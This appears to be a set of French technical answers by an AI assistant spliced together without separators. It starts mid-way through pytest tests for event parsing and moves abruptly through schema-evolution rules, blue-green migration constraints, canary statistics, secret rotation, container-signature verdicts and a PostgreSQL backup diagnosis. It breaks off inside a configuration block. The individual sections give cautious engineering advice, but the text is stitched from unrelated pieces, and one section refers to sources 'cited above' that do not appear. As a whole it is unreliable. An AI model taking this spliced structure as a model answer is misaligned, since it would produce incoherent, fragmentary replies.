def test_accepte_champ_inconnu_v2():
brut = {**BASE, "locale": "fr-FR"}
evt = lire_evenement(brut)
assert evt.event_type == "user.created"
assert evt.champs_inconnus == {"locale": "fr-FR"}
def test_preserve_a_la_reemission():
evt = lire_evenement({**BASE, "locale": "fr-FR"})
assert reemettre(evt)["locale"] == "fr-FR"
def test_refuse_champ_requis_manquant():
brut = {k: v for k, v in BASE.items() if k != "event_id"}
with pytest.raises(ValidationError):
lire_evenement(brut)
def test_refuse_type_invalide():
with pytest.raises(ValidationError):
lire_evenement({**BASE, "occurred_at": "pas-une-date"})
def test_refuse_version_majeure_inconnue():
with pytest.raises(EvenementIncompatible):
lire_evenement({**BASE, "schema_version": "2.0"})
def test_valeur_sensible_absente_des_logs(caplog):
caplog.set_level("INFO")
lire_evenement({**BASE, "email": "[email protected]"})
assert "[email protected]" not in caplog.text
```
Honnêteté sur l'état de ce code : je l'ai raisonné ligne à ligne, mais **je ne l'ai pas exécuté** ici. Un retour d'outil ou un `status=ok` ne prouverait d'ailleurs pas le succès fonctionnel ; seule l'exécution de ces tests chez vous, plus une relecture, l'établira. Contrôles complémentaires à faire : rejouer un échantillon réel d'événements v2 en préproduction et comparer les compteurs de rejet avant et après.
## 4. Règle d'évolution à inscrire dans le contrat
### 4.1 Classification des changements
| Changement | Classe | Conséquence |
|---|---|---|
| Ajouter un champ **optionnel** avec défaut sûr | Compatible | Autorisé sans version majeure |
| Ajouter une **valeur** à une énumération | Compatible **seulement si** les lecteurs ont un repli défini pour valeur inconnue | À encadrer explicitement |
| Élargir une contrainte (longueur maximale, borne) | Compatible | Autorisé |
| Ajouter un champ **requis** | Cassant | Version majeure |
| Renommer, supprimer, changer le type d'un champ | Cassant | Version majeure |
| Changer la **sémantique** à nom et type constants | Cassant, et le plus dangereux car indétectable par validation | Nouveau nom de champ obligatoire |
| Restreindre une contrainte ou une énumération | Cassant | Version majeure |
### 4.2 Règles normatives
1. **Tout consommateur doit ignorer les champs inconnus** et, s'il relaie, transforme ou archive, il doit les **préserver** (règles W3C TAG *must ignore* et *must preserve*, Wikipédia EN, *Forward compatibility*).
2. **Le producteur est conservateur, le consommateur est libéral sur les inconnus mais strict sur les connus** : Postel (RFC 761) tempéré par les contrôles de cohérence explicites de RFC 3117 et les mises en garde de RFC 9413 (sources citées ci-dessus). Une tolérance sans borne entérine les défauts en standard de fait.
3. **Version explicite dans chaque événement** (`schema_version` majeure.mineure). Le lecteur refuse une **majeure** inconnue et accepte toute **mineure** supérieure. C'est ce qui rend la compatibilité vérifiable au lieu d'être supposée.
4. **Ordre de déploiement expand puis migrate puis contract** : d'abord déployer partout les lecteurs tolérants, ensuite seulement activer le producteur v2. Corollaire pour votre incident : la remise en production de `locale` doit attendre le déploiement du correctif v1 sur l'intégralité des instances, y compris les consommateurs oubliés et les rejoueurs de file.
5. **Garde en intégration continue** : un contrôle automatique de compatibilité du schéma à chaque modification, plus des tests de contrat pilotés par les consommateurs. Le producteur, lui, valide en mode strict ce qu'il émet, afin d'attraper les fautes de frappe que le lecteur ne détectera plus.
6. **Observabilité** : métrique du taux de champs inconnus par type d'événement et par version, avec alerte sur variation brutale. Elle restaure la capacité de détection perdue en passant à `additionalProperties: true`.
7. **Aucun champ obligatoire n'est introduit sans nouvelle version majeure**, publiée en parallèle avec fenêtre de double écriture et date de fin de support annoncée.
8. **Rejet en file de mise à l'écart, jamais en perte** : tout événement refusé va dans une file de rebut avec sa cause, rejouable après correctif, pour ne pas transformer une incompatibilité en perte de données irréversible.
## Risques résiduels
- Passer en tolérance des inconnus **réduit la détection des fautes de frappe** dans les noms de champs, un `locale` mal orthographié devenant silencieux. Atténuation : validation stricte côté producteur plus l'alerte de métrique du point 6.
- `extra="allow"` accroît la surface d'entrée, donc la mémoire consommée et le risque de propager des données non prévues, y compris des données personnelles non déclarées au registre de traitement. Atténuation : plafonner la taille des messages, ne jamais journaliser les valeurs inconnues, et cartographier ce qui est effectivement préservé.
- Aucune de ces mesures ne garantit la compatibilité future de façon universelle : la compatibilité en avant décrit une relation à des versions qui n'existent pas encore, et sa définition formelle a été traitée comme un problème ouvert par des membres du W3C TAG en 2007 (Wikipédia EN, *Forward compatibility*). Un nombre fini de tests passants ne démontre donc pas la propriété générale ; seule une politique invariante appliquée à chaque changement, plus la garde en intégration continue, en approche l'effet.## Cadre
Le point décisif est qu'un rollback applicatif de green vers blue en moins d'une heure **n'autorise pas** un rollback de schéma. Le schéma ne recule pas, il doit donc être conçu pour être lisible et écrivable par les deux versions simultanément : c'est le motif expand/contract (élargir, puis contracter). Précision de méthode : mon encyclopédie locale hors ligne ne contient pas d'article sur le déploiement bleu-vert ni sur la migration expansive (recherches effectuées, aucun résultat pertinent). Ce qui suit relève donc de principes d'ingénierie de production que j'énonce comme tels, non d'une source que je peux citer ; à vérifier par les tests indiqués plutôt que sur ma parole.
Notations : $N$ = schéma courant, $N+1$ = schéma cible, $t_b$ = instant de bascule du trafic vers green, $\Delta = 1\ \text{h}$ = fenêtre de rollback.
## Les quatre propriétés
| # | Propriété | Énoncé formel | Traduction opérationnelle |
|---|---|---|---|
| 1 | Lecture green | $\forall d$ écrit par blue sous $N$, green lit $d$ sans erreur ni perte sémantique | Compatibilité descendante en lecture |
| 2 | Lecture blue | $\forall d$ écrit par green sous $N+1$, blue lit $d$ sans erreur | $N+1$ est purement additif : $N \subseteq N+1$ |
| 3 | Écriture | Toute écriture pendant $[t_b - \varepsilon,\ t_b + \Delta]$ laisse la base dans un état satisfaisant 1 et 2, et les représentations ancienne et nouvelle restent cohérentes | Double écriture convergente et idempotente |
| 4 | Suppression | Aucune opération destructrice avant $t_b + \Delta$, et seulement en migration $N+2$ distincte | Contraction différée et explicitement autorisée |
### 1. Lecture green : tolérance à l'ancien état
Green doit fonctionner sur des lignes créées par blue, qui ignorent tout de $N+1$.
- Toute colonne ajoutée en $N+1$ est **nullable** ou dotée d'une valeur par défaut ; green traite `NULL` comme un cas métier légitime, pas comme une anomalie.
- Aucune contrainte `NOT NULL`, `UNIQUE` ou `FOREIGN KEY` nouvelle n'est validée en bloquant sur les lignes historiques : sous PostgreSQL, on ajoute en `NOT VALID`, puis on exécute `VALIDATE CONSTRAINT` après la fenêtre.
- Le backfill des lignes anciennes est fait par lots, hors transaction longue, et green ne présuppose pas qu'il est terminé : il doit rester correct pendant le backfill.
- Risque résiduel : une valeur par défaut mal choisie est indistinguable d'une valeur métier réelle. Préférez `NULL` plus un drapeau explicite quand la distinction compte.
### 2. Lecture blue : additivité stricte de $N+1$
C'est la propriété la plus contraignante, car blue est du code figé qu'on ne peut pas adapter.
Interdits absolus dans $N+1$ pendant la fenêtre :
- renommer une colonne ou une table (faites : ajouter la nouvelle, synchroniser, supprimer l'ancienne en $N+2$) ;
- restreindre un type ou une longueur ($\text{varchar}(255) \to \text{varchar}(64)$, `bigint` $\to$ `int`) ;
- supprimer une colonne, une table, une vue, un index utilisé par blue ;
- rendre `NOT NULL` une colonne que blue n'écrit pas ;
- ajouter une contrainte que les écritures de blue violeraient (blue ignore la nouvelle colonne : une contrainte du type « nouvelle colonne non nulle » casse blue à l'écriture).
Corollaire côté code, souvent oublié : blue doit ignorer les colonnes qu'il ne connaît pas. Cela exige que blue utilise des `SELECT` à colonnes nommées et non `SELECT *` avec dépendance à l'ordre ou à l'arité, et des `INSERT` à colonnes nommées. Si blue fait `SELECT *` dans un mapping positionnel, l'ajout d'une colonne le casse : dans ce cas, exposez à blue une **vue figée** portant exactement la forme $N$, et faites porter les changements à la table sous-jacente.
### 3. Écriture : double écriture cohérente et idempotente
Pendant toute la fenêtre, deux écrivains coexistent (green en production, blue en cas de rollback), sur un seul état de données.
- Green écrit **les deux formes** : ancienne colonne et nouvelle colonne, ancien et nouveau format. Sinon, après rollback, blue ne verra pas les écritures faites par green pendant la fenêtre, ce qui produit une perte de données silencieuse, le pire des échecs.
- Symétriquement, les écritures de blue doivent être propagées vers la forme $N+1$. Deux options : soit green tolère l'absence de la nouvelle forme et la calcule à la lecture, soit un déclencheur en base assure la synchronisation. Le déclencheur est plus sûr mais ajoute un point de contention et doit lui aussi être retiré en $N+2$.
- Source de vérité unique : désignez la forme $N$ comme autoritative pendant la fenêtre, la forme $N+1$ étant dérivée. Deux sources de vérité concurrentes produisent des divergences non arbitrables.
- Idempotence : toute écriture doit pouvoir être rejouée sans effet cumulatif (clés naturelles, `UPSERT` sur contrainte d'unicité, jamais d'incrément non idempotent), car le rollback et les reprises rejouent des messages.
- Séquences et identifiants : green ne doit pas consommer un espace d'identifiants que blue ne sait pas interpréter. Gardez la même séquence, pas de passage brusque à des UUID.
- Migration DDL non bloquante : `CREATE INDEX CONCURRENTLY`, `lock_timeout` court, aucun `ALTER TABLE` prenant un verrou exclusif long sur une table chaude.
### 4. Suppression : contraction différée, séparée et autorisée
- Aucun `DROP COLUMN`, `DROP TABLE`, `TRUNCATE`, suppression de déclencheur de synchronisation ni rétrécissement de type avant $t_b + \Delta$, avec $\Delta = 1\ \text{h}$ **comptée à partir de la stabilisation de green**, pas du début du déploiement. En pratique, prenez une marge : la fenêtre contractuelle d'une heure est un plancher, pas une cible.
- La contraction est une migration **distincte**, $N+2$, déployée dans un cycle ultérieur, jamais dans le même lot que $N+1$. Un lot unique rendrait le rollback impossible par construction.
- Préconditions vérifiables avant $N+2$ : blue est arrêté et son image retirée du plan de rollback ; sauvegarde restaurable prise et **testée** ; aucune requête référençant les objets à supprimer dans les journaux sur la période d'observation ; accord explicite de l'opérateur.
- Réversibilité : préférez la dépréciation à la destruction en deux temps, d'abord renommer en `col_deprecated` ou révoquer les droits, observer, puis supprimer. Un renommage est réversible en quelques secondes, un `DROP COLUMN` ne l'est pas.
- Purge de données : toute suppression de lignes pendant ou après la fenêtre doit être précédée d'un point de restauration et bornée (`DELETE` par lots avec `LIMIT`, jamais de `DELETE` global non borné).
## Vérification avant bascule
1. Test de compatibilité croisée en préproduction : lancer la suite de tests **de blue** contre le schéma $N+1$. Si elle échoue, la propriété 2 est violée.
2. Test de rollback réel chronométré : basculer vers green, générer des écritures représentatives, revenir à blue, puis vérifier par assertions que les écritures faites par green sont visibles et correctes dans blue. C'est le seul test qui valide la propriété 3.
3. Diff de schéma automatisé en CI, avec une liste noire de verbes destructeurs, qui échoue le build si $N+1$ contient un `DROP`, un `RENAME` ou un rétrécissement de type.
4. Contrôle de cohérence pendant la fenêtre : requête de comparaison entre forme ancienne et forme nouvelle, seuil d'alerte à zéro divergence.
## Limites
Ces quatre propriétés supposent une base de données unique partagée par blue et green. Si chaque couleur a sa propre base avec réplication, le problème change de nature : il faut traiter la réplication bidirectionnelle et les conflits, et la garantie de non-perte au rollback devient nettement plus difficile. Je n'ai pas d'information sur votre topologie réelle, votre moteur de base ni votre volumétrie ; les commandes citées valent pour PostgreSQL et devraient être adaptées à un autre moteur.- **Taux brut canary :** $\frac{1}{20}=5\,\%$, soit apparemment $50\times$ le taux du contrôle ($0{,}1\,\%$).
- **Problème statistique :** l’échantillon est beaucoup trop petit et granulaire : une seule erreur fixe déjà le taux à $5\,\%$. L’IC exact binomial à 95 % est environ $[0{,}127\,\%;\,24{,}9\,\%]$. Sous un vrai taux de $0{,}1\,\%$, la probabilité d’observer au moins une erreur sur 20 requêtes vaut $1-0{,}999^{20}\approx1{,}98\,\%$, mais cette observation isolée ne permet pas d’estimer fiablement l’ampleur d’une éventuelle régression, surtout avec surveillance répétée ou requêtes non indépendantes.
- **Décision :** ne pas promouvoir sur la seule base de ce taux, mais ne pas conclure non plus automatiquement à une régression de $50\times$. Examiner la signature de l’erreur : rollback si elle est nouvelle, critique et attribuable au canary ; sinon maintenir le déploiement en attente et recueillir davantage de données.
- **Obtenir un signal :** augmenter fortement le volume canary avec des critères prédéfinis, ou utiliser du shadow traffic, du replay et des tests synthétiques. À titre indicatif, avec zéro erreur, il faut environ $1\,497$ requêtes pour obtenir une borne supérieure exacte à 95 % proche de $0{,}2\,\%$. Pour une surveillance continue, employer un test séquentiel ou des intervalles de confiance toujours valides.| État | Évaluation | |---|---| | **Schéma** | La colonne ajoutée par v2 reste présente : le rollback du code ne rollbacke pas la migration. Il faut la conserver sauf migration descendante explicitement décidée. | | **Lectures v1** | Elles restent normalement fonctionnelles puisque v1 ignore la colonne, sous réserve que ses requêtes ou son ORM tolèrent ce schéma étendu. Les données de cette colonne peuvent toutefois devenir incomplètes ou obsolètes pendant le rollback. | | **Emails** | Les emails déjà envoyés sont irréversibles. Seule une compensation est possible : rectificatif, suivi des destinataires et prévention des doublons. | | **Rollback global** | Il n’a pas eu lieu et n’est plus possible au sens d’un retour exact à l’état initial. L’état réel est hybride : **code v1, schéma v2, effets externes de v2**. |
## 1. Diagnostic
Trois contraintes structurent la solution, et une seule d'entre elles est réellement bloquante.
| Contrainte | Conséquence opérationnelle |
|---|---|
| 4 réplicas portent S1 | Toute modification du matériel monté impose un déploiement progressif, donc une flotte temporairement hétérogène |
| L'application accepte deux secrets | Une période de recouvrement est possible, c'est ce qui rend la rotation sans coupure faisable |
| Rechargement au redémarrage seulement | Chaque changement d'état du montage coûte un *rolling restart* complet ; aucun `SIGHUP` ni rechargement à chaud n'est disponible |
L'invariant à préserver à chaque instant, y compris pendant les redémarrages partiels, est le suivant :
$$\forall t,\quad \{\text{secrets présentés par un réplica vivant à } t\} \subseteq \{\text{secrets acceptés par le vérificateur à } t\}$$
C'est cet invariant, et non un test réussi sur les 4 réplicas, qui garantit l'absence de coupure : une vérification finie sur quelques réplicas n'établit pas une propriété valable sur toute la fenêtre de rotation. Il en découle la règle d'ordonnancement : **on élargit l'acceptation avant de changer l'émission, et on ne révoque qu'en dernier.**
## 2. Décision recommandée
Rotation en recouvrement à **trois vagues de redémarrage**, la seule opération destructive (révocation de S1) étant repoussée en dernière phase et conditionnée à une preuve de non-usage. Le modèle général du cycle de vie d'une clé, génération, échange, stockage, usage, remplacement, puis destruction, est le cadre de référence (Wikipédia EN, article *Key management* : « generation, exchange, storage, use, crypto-shredding (destruction) and replacement of keys »). L'ordonnancement précis ci-dessous relève du raisonnement d'ingénierie de production, il n'est pas issu de l'encyclopédie.
## 3. Ordre des phases
**Phase 0, préparation, aucun changement en production**
1. Inventorier tous les consommateurs de S1, pas seulement les 4 réplicas : tâches planifiées, *workers* de file d'attente, *jobs* de migration, conteneurs d'initialisation, sondes, éventuels clients externes. Un consommateur oublié est la première cause d'échec (Wikipédia EN, *Key management* : « The starting point in any certificate and private key management strategy is to create a comprehensive inventory of all certificates, their locations and responsible parties »).
2. Confirmer par lecture du code, et non par supposition, quels emplacements de configuration portent le secret primaire et le secret secondaire, et que la vérification accepte bien les deux.
3. Créer le point de restauration : S1 conservé scellé dans le coffre, définition de déploiement versionnée, procédure de retour arrière écrite.
4. Instrumenter l'observabilité par **identifiant** de secret (`kid`, version, empreinte tronquée), jamais par valeur. Un secret ne doit figurer ni dans un journal, ni dans une URL, ni en clair, ni sous forme hachée dans un log.
**Phase 1, génération de S2 et élargissement de l'acceptation côté vérificateur**
Créer S2 dans le coffre avec un identifiant distinct, sans toucher à S1, puis rendre S2 valide **en parallèle** de S1 chez la partie qui vérifie (serveur d'authentification, fournisseur d'API, service pair). Cette phase précède obligatoirement toute distribution de S2 aux réplicas.
Point de blocage à vérifier ici : si le fournisseur n'autorise qu'un seul identifiant actif à la fois, la rotation sans coupure est impossible en l'état, et il faut alors passer par un mandataire d'authentification ou une fenêtre de maintenance. C'est le seul cas où votre énoncé ne peut pas être satisfait.
**Phase 2, distribution des deux secrets, S1 encore primaire**
Modifier la définition de déploiement pour monter S1 en primaire et S2 en secondaire, sur les 4 réplicas.
**Phase 3, première vague de redémarrage progressif**
Redémarrage un réplica à la fois (ou avec surcapacité maîtrisée), sonde de disponibilité obligatoire avant de passer au suivant. À l'issue de cette vague : 4/4 réplicas connaissent S1 et S2, le comportement fonctionnel est inchangé puisque S1 reste primaire. C'est le point de contrôle le moins risqué de toute la rotation, et il ne doit pas être sauté.
**Phase 4, bascule des rôles, S2 primaire, S1 secondaire**
Inverser les rôles dans la configuration, puis **deuxième vague de redémarrage progressif**. Pendant cette vague, la flotte est mixte : certains réplicas présentent S1, d'autres S2. L'invariant de la section 1 tient précisément parce que la phase 1 a rendu les deux secrets acceptables. C'est ici que se joue l'absence de coupure.
**Phase 5, période de grâce et preuve de non-usage de S1**
Observer jusqu'à couvrir le plus long horizon de vie du système : durée maximale des jetons, intervalle du *cron* le plus lent, files d'attente en attente de reprise, connexions persistantes et pools authentifiés au démarrage. Critère de sortie : **zéro occurrence de l'identifiant de S1** dans les journaux d'usage côté vérificateur sur toute la fenêtre. Sans cette preuve, ne pas passer à la phase 6.
**Phase 6, retrait de S1 du montage, troisième vague de redémarrage**
Supprimer S1 de la configuration, puis redémarrage progressif. À ce stade, S1 est encore techniquement valide côté fournisseur : le retrait du montage est réversible, ce qui donne un dernier palier de sécurité.
**Phase 7, révocation puis destruction de S1**
Révoquer S1 chez le vérificateur, vérifier l'échec attendu d'une tentative d'usage, puis détruire le matériel après le délai de rétention. Exception importante : si S1 sert à déchiffrer des données au repos, il ne doit **pas** être détruit mais archivé en coffre, avec conservation de l'identifiant de clé dans les données chiffrées.
**Phase 8, clôture**
Mise à jour de l'inventaire, purge des copies temporaires, consignation de la date de prochaine rotation, revue des enseignements.
## 4. Récapitulatif ordonné
| # | Phase | Redémarrage | Réversible |
|---|---|---|---|
| 0 | Inventaire, sauvegarde, observabilité | non | sans objet |
| 1 | Génération S2, acceptation S1 + S2 côté vérificateur | non | oui |
| 2 | Montage S1 primaire + S2 secondaire | non | oui |
| 3 | Vague 1, propagation des deux secrets | oui | oui |
| 4 | Bascule S2 primaire + S1 secondaire, vague 2 | oui | oui |
| 5 | Grâce, preuve de non-usage de S1 | non | oui |
| 6 | Retrait de S1 du montage, vague 3 | oui | oui |
| 7 | Révocation puis destruction de S1 | non | **non** |
| 8 | Clôture, audit, inventaire | non | sans objet |
Recompte : 9 phases numérotées de 0 à 8, 3 vagues de redémarrage, 1 seule étape irréversible.
Variante à 2 vagues : fusionner les phases 2, 3 et 4 en montant directement S2 en primaire et S1 en secondaire. L'invariant reste satisfait, mais vous perdez le palier de validation « les deux secrets sont en place et rien n'a changé », donc un diagnostic plus difficile en cas d'incident. À réserver aux systèmes où le redémarrage est coûteux.
## 5. Vérifications à chaque palier
- Après chaque vague : nombre de réplicas prêts égal à 4, et **version de configuration effectivement chargée** relevée sur chacun, pas seulement l'état « Running ». Un conteneur démarré ne prouve pas qu'il a lu la nouvelle valeur.
- Après la phase 4 : taux d'erreurs d'authentification, latence, et compteur d'usage par identifiant de secret.
- Avant la phase 7 : test négatif explicite, une tentative avec S1 doit échouer après révocation.
- Un code de retour de commande à 0 ne prouve pas le succès fonctionnel : la preuve est la métrique d'usage et le test négatif.
Je ne connais pas votre orchestrateur, votre coffre ni la nature exacte de S1, je ne fournis donc pas de commandes prétendument applicables telles quelles, elles seraient inventées.
## 6. Risques et limites
- **Flotte hétérogène pendant les vagues** : sans la phase 1 faite en premier, les réplicas déjà redémarrés présenteraient un secret non encore accepté, et vous auriez une coupure partielle, difficile à diagnostiquer car intermittente.
- **Consommateurs hors des 4 réplicas** : c'est le risque résiduel principal, il n'est pas éliminé par la procédure, seulement réduit par l'inventaire de la phase 0.
- **Fournisseur mono-clé** : cas d'impossibilité signalé en phase 1.
- **Données chiffrées avec S1** : destruction interdite, voir phase 7.
- **Rangs de privilèges** : le rôle qui lit le coffre doit être en moindre privilège, distinct du rôle qui crée ou révoque les secrets, avec séparation des droits d'administration et d'exécution.
- **Aucune rotation n'est « sans risque »** : les risques résiduels ici sont un consommateur non inventorié, une connexion persistante authentifiée avant la bascule, et une révocation déclenchée trop tôt en phase 7.
La phase 7 étant irréversible, elle exige un accord explicite d'opérateur en plus de la preuve de non-usage.## Verdicts | Axe | Verdict | Portée exacte | |---|---|---| | **Digest** | **Conforme** (intégrité établie), sous condition de recalcul local | Atteste que le contenu obtenu est bien celui référencé, pas son origine | | **Cryptographie** | **Signature valide** | Atteste la possession de la clé privée correspondant à la clé publique présentée | | **Identité du signataire** | **Non établie / non approuvée** | Aucun ancrage de confiance ne lie cette clé à une entité autorisée | | **Admission** | **Refus** (refus par défaut, fail closed) | Intégrité et validité mathématique ne remplacent pas l'autorisation | ## 1. Digest, intégrité Le verdict est favorable **si et seulement si** le condensat a été recalculé localement sur l'octet-flux réellement récupéré, puis comparé à la référence attendue obtenue d'une source de confiance indépendante du canal de livraison. Un digest simplement lu à côté de l'artefact ne prouve rien : il vient du même canal que l'artefact. Formulation juste du résultat : la concordance d'empreinte n'est pas une preuve mathématique absolue d'identité du contenu, puisqu'une fonction de hachage avec plus d'entrées que de sorties génère nécessairement des collisions par le principe des tiroirs ; la résistance aux collisions signifie seulement que les collisions sont difficiles à trouver (article encyclopédique *Résistance aux collisions*, Wikipédia FR, consulté via l'encyclopédie locale). C'est donc une **assurance cryptographique très forte sous les hypothèses de sécurité de la fonction**, à condition que la fonction utilisée ne soit pas cassée : ce même article rappelle que des techniques plus efficaces que la force brute sont connues pour MD5 et SHA-1. Si le digest est un SHA-1 ou un MD5, le verdict d'intégrité doit être dégradé. Ce que le digest **ne dit pas** : ni qui a produit l'image, ni si son contenu est sain, ni si elle est à jour. ## 2. Cryptographie, validité de la signature Verdict : **valide**. La vérification établit que la signature correspond au condensat et à la clé publique fournie, donc que le signataire détenait la clé privée associée au moment de la signature, et que le contenu n'a pas été modifié depuis. Limite structurelle à énoncer sans ambiguïté : une signature vérifiable prouve un **contrôle de clé**, pas une **identité**. Le lien clé vers entité n'est jamais produit par la mathématique de la signature ; il provient d'un ancrage externe (magasin de confiance, chaîne de certification, attestation d'autorité, politique). L'article précité illustre d'ailleurs que dans les schémas de signature à clé publique, ce qui est signé est une valeur de hachage, et que la solidité de l'attestation dépend de la solidité de la fonction de hachage. ## 3. Identité du signataire Verdict : **échec d'authenticité au sens de la politique**. La clé est personnelle et non approuvée, ce qui signifie concrètement l'un ou plusieurs des cas suivants, à distinguer car les traitements diffèrent : - **Clé inconnue** du magasin de confiance : aucune assertion d'identité n'est disponible. C'est le cas le plus probable ici. - **Clé connue mais hors périmètre** : identité lisible, mais non habilitée à signer des images admissibles. - **Clé révoquée ou expirée** : à traiter comme un rejet ferme, et non comme une simple absence d'approbation. Le libellé exact du verdict doit rester factuel : l'identité n'est **pas prouvée fausse**, elle est **non prouvée**. L'absence de preuve d'appartenance n'est pas une preuve d'illégitimité ; c'est néanmoins un motif suffisant de refus dans un modèle de refus par défaut. ## 4. Admission Verdict : **refus**. Justification en trois temps : 1. L'intégrité est acquise, mais l'intégrité et l'authenticité sont deux propriétés distinctes : garantir qu'un artefact n'a pas changé ne garantit pas qu'il provient d'une source autorisée. 2. La politique d'admission porte sur la **provenance autorisée**, pas sur la validité formelle. Une clé personnelle non approuvée permettrait à tout détenteur d'une paire de clés d'injecter un artefact signé, ce qui vide le contrôle de sa fonction. 3. En sécurité, le comportement correct en cas de contrôle non concluant est l'échec en mode fermé, jamais l'admission par défaut. Distinguez enfin trois objets qui ne se confondent pas : la **vérité** de l'assertion « cette image est légitime », la **preuve** dont vous disposez (intégrité oui, identité non), et l'**admissibilité** selon la politique (non). ## Conditions pour lever le refus - Faire contresigner l'artefact par une clé de l'autorité approuvée, ou publier une attestation liant le digest exact à une identité autorisée. - À défaut, enregistrer la clé personnelle dans le magasin de confiance après vérification d'identité hors bande, avec périmètre restreint, date d'expiration et possibilité de révocation. - Si une dérogation opérationnelle est indispensable : dérogation nominative, portée limitée à ce digest précis, durée bornée, journalisée avec l'identité de l'approbateur, et jamais un assouplissement global de la politique. - Vérifier au passage la fraîcheur de l'attestation (horodatage, anti-rejeu) et l'état de révocation, deux contrôles orthogonaux aux trois précédents. ## Risques résiduels Aucune de ces mesures ne rend l'admission « sans risque ». Subsistent au minimum : la compromission de la clé approuvée elle-même, la signature légitime d'un contenu malveillant (une signature valide n'atteste pas l'innocuité), le rejeu d'une attestation ancienne si l'horodatage n'est pas contrôlé, la fragilité de la fonction de hachage si elle est obsolète, et la compromission du magasin de confiance ou du service de politique. ## Statut de ces énoncés Les propriétés des fonctions de hachage et des collisions sont sourcées sur l'article *Résistance aux collisions* (Wikipédia FR, lu ci-dessus). Les verdicts de politique, la qualification de l'identité et la décision d'admission relèvent du raisonnement de sécurité standard appliqué à l'énoncé que vous fournissez, et non d'une source que j'ai consultée ; ils dépendent de votre politique réelle, que je n'ai pas lue. Je ne dispose d'aucune information sur l'algorithme de hachage effectivement employé, sur le schéma de signature, sur le contenu de votre magasin de confiance ni sur l'état de révocation de la clé : ces quatre éléments doivent être vérifiés avant de figer les verdicts.
## 1. Diagnostic : la cohérence est nulle
Copier les fichiers d'un volume PostgreSQL pendant que l'instance écrit, sans snapshot atomique ni `pg_basebackup`, ne produit pas une sauvegarde. Cela produit une **collection de fichiers pris à des instants différents**, ce qui n'est pas un état de base de données.
Trois défauts se cumulent :
| Défaut | Mécanisme | Conséquence |
|---|---|---|
| Copie non atomique | `tar`/`cp`/`docker cp` parcourt l'arborescence pendant plusieurs secondes ou minutes ; le fichier lu en début de copie et celui lu en fin appartiennent à deux états logiques différents | Incohérence inter-fichiers : index pointant vers des lignes absentes, `pg_control` désynchronisé des fichiers de données |
| Écritures partielles de page | Une page PostgreSQL fait 8 kio, la copie lit par blocs du système de fichiers ; une page peut être copiée moitié ancienne, moitié nouvelle | Page déchirée (*torn page*), illisible au démarrage |
| Absence de point de départ de rejeu déclaré | Sans `pg_backup_start()`/`pg_basebackup`, aucun `backup_label` n'est écrit et aucun point de cohérence n'est enregistré | Le moteur n'a aucun moyen de savoir jusqu'où rejouer pour atteindre la cohérence |
La règle de référence est explicite : *« There is only one way to create a consistent and therefore useful cold backup: the PostgreSQL instance must be stopped »* (Wikibooks EN, PostgreSQL/BackupAndRecovery). Toute autre copie de fichiers doit passer par une méthode de sauvegarde à chaud dédiée, `pg_dump` ou l'archivage continu avec `pg_basebackup` (même source).
Précision de méthode : les deux premiers mécanismes ci-dessus (non-atomicité et pages déchirées) relèvent du fonctionnement établi d'un moteur transactionnel à pages sur système de fichiers ; l'extrait encyclopédique que j'ai consulté énonce la conclusion (copie à chaud inutilisable, copies partielles inutiles) sans détailler ces mécanismes. Je les présente donc comme explication d'ingénierie, cohérente avec la conclusion sourcée, et non comme citation.
## 2. Risque WAL spécifiquement
Le WAL est ce qui rend une sauvegarde rejouable ; ici il est présent physiquement mais inutilisable.
- **Rôle normal.** PostgreSQL écrit les enregistrements de journal dans les fichiers WAL avant de transférer les modifications vers les fichiers de données ; à la reprise, il repart du dernier *checkpoint* enregistré dans le WAL et rejoue chronologiquement les enregistrements suivants pour amener le cluster à un état cohérent incluant tous les COMMIT (Wikibooks EN, PostgreSQL/BackupAndRecovery).
- **Ce que casse votre copie.** Le répertoire `pg_wal` est copié lui aussi « en vol ». Vous obtenez potentiellement un segment WAL tronqué ou partiellement écrit, et surtout un `pg_control` dont le LSN de checkpoint ne correspond plus à l'état réel des fichiers de données copiés. Le rejeu ne peut alors ni démarrer au bon endroit, ni disposer de la totalité des enregistrements nécessaires.
- **Aucun archivage.** Sans `archive_mode = on` et `archive_command`, les segments WAL recyclés sont perdus : il n'existe aucune chaîne de journaux permettant d'avancer de la copie vers un instant de cohérence, ni de faire du PITR. L'archivage continu des WAL est justement la seconde moitié obligatoire de la stratégie de sauvegarde à chaud physique (même source).
- **Effet aggravant si `pg_wal` est un volume Docker distinct.** Même un snapshot deviendrait non atomique entre les deux volumes. C'est une conséquence logique de l'exigence d'atomicité, à vérifier sur votre configuration réelle.
**RPO et RTO réels de votre dispositif actuel : indéterminés. Il ne s'agit pas d'un RPO dégradé, il s'agit d'une absence de garantie de restauration.**
## 3. Restaurabilité attendue
Je ne peux pas mesurer votre cas précis sans y accéder ; voici les issues possibles, classées, en distinguant nettement ce qui est établi de ce qui est estimation.
**Établi (par construction de la méthode) :** la copie n'a aucune garantie de cohérence, donc aucune garantie de restauration. Une restauration réussie serait un coup de chance, non un résultat reproductible.
**Estimation qualitative, non chiffrée, issue du raisonnement ci-dessus :**
| Issue | Description | Détectabilité |
|---|---|---|
| Refus de démarrage | Erreur au *recovery*, `pg_control`/WAL incohérents | Immédiate, la moins dangereuse |
| Démarrage puis erreurs à l'usage | Blocs corrompus, index invalides, erreurs sur certaines requêtes | Différée |
| **Corruption silencieuse** | Le cluster démarre, sert des requêtes, mais des données sont fausses ou des transactions validées manquantes | **Non détectable sans contrôle actif** : c'est le scénario le plus grave |
Le troisième cas est le vrai danger : il transforme la sauvegarde en fausse assurance. Je ne peux pas vous donner de probabilité pour chaque cas, toute valeur chiffrée serait inventée.
Point de rigueur : le fait qu'une restauration de test ait déjà réussi une ou plusieurs fois **ne démontre rien d'universel**. Un nombre fini de succès ne prouve pas la validité de la méthode ; seule l'atomicité garantie par le protocole de sauvegarde le fait. La recommandation de tester systématiquement la procédure de restauration sur un système de test avant la production est d'ailleurs explicite dans la source (Wikibooks EN, PostgreSQL/BackupAndRecovery), mais tester une méthode invalide ne la valide pas.
## 4. Méthode correcte, par ordre de préférence
### Option A, recommandée : `pg_basebackup` + archivage continu des WAL
C'est la seule option offrant PITR et un RPO faible. Les trois actions requises sont : définir les paramètres dans la configuration, générer une sauvegarde de base avec `pg_basebackup`, archiver tous les WAL produits (Wikibooks EN, PostgreSQL/BackupAndRecovery).
Configuration serveur (à adapter, `postgresql.conf` ou surcharge dans un fichier de configuration monté) :
```conf
wal_level = replica
archive_mode = on
archive_command = 'test ! -f /wal_archive/%f && cp %p /wal_archive/%f'
archive_timeout = 300 # borne le RPO a 5 min sur base peu active
max_wal_senders = 4
wal_compression = on
